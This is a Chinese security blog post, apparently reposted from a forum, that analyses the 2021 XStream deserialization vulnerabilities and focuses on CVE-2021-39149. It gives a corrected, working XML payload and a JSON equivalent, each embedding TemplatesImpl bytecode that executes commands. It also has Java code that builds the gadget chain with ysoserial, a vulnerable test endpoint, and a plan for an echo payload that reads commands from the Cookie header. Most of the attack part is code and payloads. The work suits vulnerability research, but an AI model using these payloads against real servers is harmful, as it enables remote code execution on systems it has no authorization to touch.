扫码领资料
获网安教程
前几个月XStream爆出一堆漏洞,这两天翻了翻,发现这波洞应该是黑名单绕过的最后一波了。因为在最新版的XStream 1.4.18中已经默认开启白名单的安全框架,按照XStream官方补漏洞的习惯,应该不会再接受新的绕过黑名单的漏洞了。
这波漏洞一共14个,基本上都是RCE的级别,先简单梳理一下。
CVE ID | PoC |
---|---|
CVE-2021-39139 | RCE |
CVE-2021-39140 | DoS |
CVE-2021-39141 | JNDI Based RCE |
CVE-2021-39144 | RCE |
CVE-2021-39145 | JNDI Based RCE |
CVE-2021-39146 | JNDI Based RCE |
CVE-2021-39147 | JNDI Based RCE |
CVE-2021-39148 | JNDI Based RCE |
CVE-2021-39149 | RCE |
CVE-2021-39150 | SSRF |
CVE-2021-39151 | JNDI Based RCE |
CVE-2021-39152 | SSRF |
CVE-2021-39153 | RCE |
CVE-2021-39154 | JNDI Based RCE |
我是一个挑肥拣瘦的人,一向不怎么看基于JNDI这种需要出网的PoC。因为我认为出网就意味着限制,不仅是是否能够出网的限制,还有复杂网络环境导致的一系列变化多端的因素,所以这种限制就意味成功概率极大降低。所以目标范围缩小到CVE-2021-39139
,CVE-2021-39144
,CVE-2021-39149
,CVE-2021-39153
。那就看看这四个洞的详细介绍吧,哪个限制最少就分析哪个。
CVE ID | Restrictions |
---|---|
CVE-2021-39139 | JDK版本要在7u21及以下,很明显是用了7u21的洞转换的 |
CVE-2021-39144 | 无限制 |
CVE-2021-39149 | 无限制 |
CVE-2021-39153 | JDK版本限制在8到14且要求同时安装了JavaFX |
具体看看无限制的两个洞的官方PoC都长什么样,39144
看上去是直接可以调用到java.lang.Runtime
,直接执行任意命令基本是没跑了,但这种情况大多数应该是盲打,或者还是利用出网的技巧。39149
就非常给力了,一眼就看到了我们熟悉的老伙伴TemplatesImpl
,这就意味着我们可能可以注入Java字节码实现任意类实例化,撺掇一下就可以实现回显攻击了,简直是扫描利器。所以基本目标定在了分析CVE-2021-39149
这个漏洞。
值得一提的是那个限制了JDK版本为7u21及以下的洞也用到了TemplatesImpl
,当然了,7u21本身确实也用到了TemplatesImpl
,所以不值得什么大惊小怪。(不过我非要提这么一嘴,当然是要你注意这个地方,下文有呼应XD。)
XStream官方是最令安全仔开心的官方,PoC都明晃晃地放在官网上,都不用费力气去diff补丁(或者偷别人的payload)。那么接下来就是基本操作了
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;public class xstreamDeser {
public static void main(String[] args) throws Exception {
XStream xstream = new XStream();
FileInputStream xml = new FileInputStream("src/main/java/xstream/xstream.xml");
xstream.fromXML(xml);
}
}
test.xml里面Ctrl+V上官方的payload,然后就发现出问题了。
怎么红了吧唧的报错,看到最后一个标签都串位了感觉应该是哪个标签写错了导致的。挨个排查发现在Line 17,proxy标签不应该自闭合,因为它对应的闭合标签在Line 29。所以去掉最后的斜杠变成如下这样,然后重新粘贴一下报错就都没了。
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
接着我们就运行一下,基本上来说XStream官方提供的直接RCE的payload都是弹Windows上的计算器,也就是执行calc.exe命令。但是运行后,迎来了第二个报错。
这个地方属实有点奇怪,我实际在这里卡了将近一天的时间,在很多地方下了断点跟踪分析,基本上定位到了问题可能是出在proxy标签以内,也就是TemplatesImpl类的实例化位置,但仍然就是找不出来根本问题在哪里。在卡了很久以后,我转战了CVE-2021-39139,因为这也是同样用到了TemplatesImpl类,觉得可能在这或许可以找到突破口。然后同样基本操作了一遍,居然报了一样的错误。不过确实,在对比了两个payload在TemplatesImpl位置的代码,除了字节码的Base64编码不太一样,其他都一样。
但是这边有个很不一样的点,就是_bytecode
标签里面塞入了两段byte-array标签,且这两个payload对应的第二段byte-array标签里面内容一模一样。我拿去base64解码了一下,有一些ysoserial
的关键字,其他得不到任何有用的信息。于是我拿着第二段的base64编码值去Google了一下。发现在一个讲解泛微之前爆出的XStream漏洞的payload中出现了一模一样的base64编码值,也同样处在了TemplatesImpl
这个类里面。但是我手头没有泛微的demo没法验证泛微那个payload是否有效。(其实后面复盘发现,这边是个蠢操作,我完全可以摘出泛微payload中XStream那部分拿到本地测试一下就行了)所以我接着看了一些关于如何生成泛微这个payload的相关文档,得知可以通过在引入ysoserial的包生成任意已有gadget的XStream形式的payload。生成代码是我抄的potats0发在p神的小密圈的code,如下:
package ysoserial.exploit;import ysoserial.payloads.ObjectPayload;
import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject;public class XStream {
public static void main(String[] args) {
if (args.length < 2) {
System.out.println("exit");
}
final Object payloadObject = makePayloadObject(args[0], args[1]);
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String result = xs.toXML(payloadObject);
System.out.println(result);
ObjectPayload.Utils.releasePayload(args[0], payloadObject);
}
}
于是我找了一个利用了TemplatesImpl
的gadget(例如CommonsBeanutils1)生成了一个XML然后粘贴到xtream.xml中执行一遍(当然一定是先引入了漏洞版本的CommonsBeanutils1
),发现执行成功了。比对一下payload发现,CVE-2021-39149
和CVE-2021-39144
的payload都同时少了如下一行,位置应该是处于TemplatesImpl
类中的default闭合标签下一行。
<boolean>false</boolean>
所以CVE-2021-39149
的完整的正确的payload应该如下(TemplatesImpl
类的byte-array
第一部分已省略):
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAA......</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
另外CVE-2021-39144
的payload其实就是ysoserial
中Jdk7u21
的payload直接生成的,这个用来刷洞真方便。
XStream的分析,其实就是两个部分,一个是针对XStream如何把XML转换到Java Object的过程的分析,另一个就是Java Object的构造分析。很多的文章写的时候就是ProcessBuilder#start
断点一打,debug一跑,一行一行代码走下来,很没劲,简直就是事后诸葛亮的行为。在分析XStream的漏洞的时候如果对着payload执行debug一遍,那么如何发现新的类似的漏洞,那些XML该怎么构造出来?很明显,通过上文的分析,我认为正确的正向分析应该先用Java代码构造出一个序列化的object然后,用XStream#toXML把生成的Java序列化对象转化成XML最后形成真正的payload。
这里基本上和构造一个Java原生序列化对象一样,通过构造器的层层相套最后发给后端服务器,然后服务器再一层层反序列化读到最里层的危险代码。所以完整的序列化对象的构造链应该如下:
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
关键的触发其实也很简单,就是在NullProvider
的构造器部分,它的probes
属性是HashMap
类型的,关键的危险代码放在value部分,那么自然就和大多数ysoserial
中的gadget一样就用hashcode()
这个函数进行触发了。
按部就班构造序列化数据的Java代码就很简单了,如下:
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.SunUnsafeReflectionProvider;
import sun.misc.Unsafe;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;public class xstream39149 {
private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}public static void main(String[] args) throws Exception {
Object templates = Gadgets.createTemplatesImpl("calc");Object dTraceProbe = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method method_getOutputProperties = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("getOutputProperties");
setField("proxy", dTraceProbe, templates);
setField("implementing_method", dTraceProbe, method_getOutputProperties);HashMap map = new HashMap();
Method method_hashcode = Class.forName("java.lang.Object").getDeclaredMethod("hashCode");
map.put(method_hashcode, dTraceProbe);Object nullProvider = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
setField("active", nullProvider, true);
setField("providerType", nullProvider, Class.forName("java.lang.Object"));
setField("probes", nullProvider, map);InvocationHandler handler = (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"));
Object proxy = Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new HashMap().getClass().getInterfaces(),
handler);Reflections.setFieldValue(handler, "classToInvocationHandler", new LinkedHashMap());
Reflections.setFieldValue(handler, "defaultHandler", nullProvider);LinkedHashSet set = new LinkedHashSet();
set.add(proxy);
}
}
那么如何生成最终的XML payload,因为在执行到set.add(proxy)
这行代码时,程序会抛出异常然后不再往下执行,所以如果将toXml()
函数放在这行代码下面是压根不会执行的。我用的方法比较弱智,就是利用toXml()
分别输出proxy
对象和set
对象的XML形式数据,然后手动拼接一下。
// set.add(proxy);
set.add(new Object()); // 这行代码是为了观察在linked-hash-set标签中数据是怎样储存的,然后替换成真实的payload中的proxy对应的XML数据
XStream xstream = new XStream();
System.out.println(xStream.toXML(set));
System.out.println(xStream.toXML(proxy));
正向数据的构造分析完成了,现在就可以大概看一下stack trace到底是什么样子的,这样方便以后再分析时好理解整个触发过程。从整个的堆栈信息可以看得出来,hashcode()
确实是关键触发TemplateImpl
对象的关键函数。
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Pwner633505606593 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
add:219, HashSet (java.util)
addCurrentElementToCollection:99, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:80, CollectionConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1282, XStream (com.thoughtworks.xstream)
main:15, xstreamTest (Deser)
心细的朋友可以发现几乎所有的XStream的官方通告中都少不了如下的一句话。
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
看了一下XStream的介绍文档,我也没看到除了JSON以外别的supported format,这里我可能错了,有误请帮忙指出。接下来找一下JSON的序列化和反序列化的代码怎么写,根据伟大的CSDN程序员的总结,我们可以得知:
XStream针对JSON格式的数据的处理有两个driver可以提供支持,分别是JsonHierarchicalStreamDriver
和JettisonMappedXmlDriver
。
Serialization (Java Object -> JSON) | Deserialization (JSON -> Java Object) | |
---|---|---|
JsonHierarchicalStreamDriver | √ | × |
JettisonMappedXmlDriver | √ | √ |
所以这里只需要看一下JettisonMappedXmlDriver
对应的代码怎么写就行。但这里有个小坑,刚开始我用官方的代码和网上的教程都出现ClassNotFoundException
的报错,这里是因为需要加一下jettison
的依赖。
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.1</version>
</dependency>
然后就是粗暴地抄一下官方的教程代码。
XStream xstream = new XStream(new JettisonMappedXmlDriver());
System.out.println(xstream.toXML(proxy));
System.out.println(xstream.toXML(set)); // 这里和之前输出XML格式的payload一样,我也是通过手动拼接。
System.out.println(xstream.fromXML(json));
JSON格式的payload就出来了,执行一下,计算器弹得非常顺畅(TemplatesImpl
类的byte-array
第一部分已省略)。
{"linked-hash-set":{"dynamic-proxy":{"interface":["map","java.lang.Cloneable","java.io.Serializable"],"handler":{"@class":"com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl","classToInvocationHandler":{"@class":"linked-hash-map"},"defaultHandler":{"@class":"sun.tracing.NullProvider","active":true,"providerType":"java.lang.Object","probes":{"entry":{"method":{"class":"java.lang.Object","name":"hashCode","parameter-types":""},"sun.tracing.dtrace.DTraceProbe":{"proxy":{"@class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","@serialization":"custom","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":{"default":{"_name":"Pwnr","_bytecodes":{"byte-array":["yv66vgAA......","yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ"]},"_transletIndex":-1,"_indentNumber":0},"boolean":false}},"implementing_method":{"class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","name":"getOutputProperties","parameter-types":""}}}}}}}}}
靶机就借p师傅的vulhub中的XStream靶机,把xstream-sample.jar拖出来改一改,加上支持JSON的接口,修改部分的代码如下。
@RestController
public class HelloController {
public HelloController() {
}@GetMapping({"/"})
public String hello() {
return "hello, input your information please.";
}@PostMapping({"/xml"})
public String readxml(@RequestBody String data) {
XStream xs = new XStream();
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}@PostMapping({"/json"})
public String readjson(@RequestBody String data) {
XStream xs = new XStream(new JettisonMappedXmlDriver());
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}
}
回显代码改了改fnmsd师傅的回显Java类(膜),然后构造成TemplatesImpl
对象。主要修改的部分有两个地方,一个是删掉了如下代码,因为这部分代码获取的response对象并不是通过我们发出去request对象来获取的(request.getResponse()
),所以如果代码走到这个condition当中,会出现把回显的数据写到别的response对象中。
else if(p == null && hsp.isAssignableFrom(o.getClass())){
p = o;
}
第二,为了精确匹配对应的request对象,将输入命令部分从自定义HTTP头字段移入了Cookie字段,这个做法的目的是为了防止在传入数据包的时候经过一些代理设备,这些设备可能会移除一些在它看来无用的HTTP头字段,只留下必要的头字段,已知的一定不会被移除的字段包含了Cookie字段和Host字段,所以写入Cookie应该是最方便的,也是最好读取的。
同时在写入response对象的时候,我修改代码使其可以同时写入body以及Set-Cookie字段,这里不是写入自定义字段的理由和上面说的目的一样。同时写入两个地方也是为了避免一些可能出现的错误和问题。
这里只是简单测试一下回显是否可以成功,我就移除了java.lang.Runtime
执行代码部分,直接写入unique string证明代码执行无误即可。
https://x-stream.github.io/security.html
https://blog.csdn.net/fnmsd/article/details/106709736
https://gist.github.com/fnmsd/2fd47012849f25eb53d703f283679462
https://vulhub.org/#/environments/xstream/CVE-2021-21351/
来源:https://xz.aliyun.com/t/12999
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
看到这里了,点个“赞”、“再看”吧
来源:https://xz.aliyun.com/t/10360
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
看到这里了,点个“赞”、“再看”吧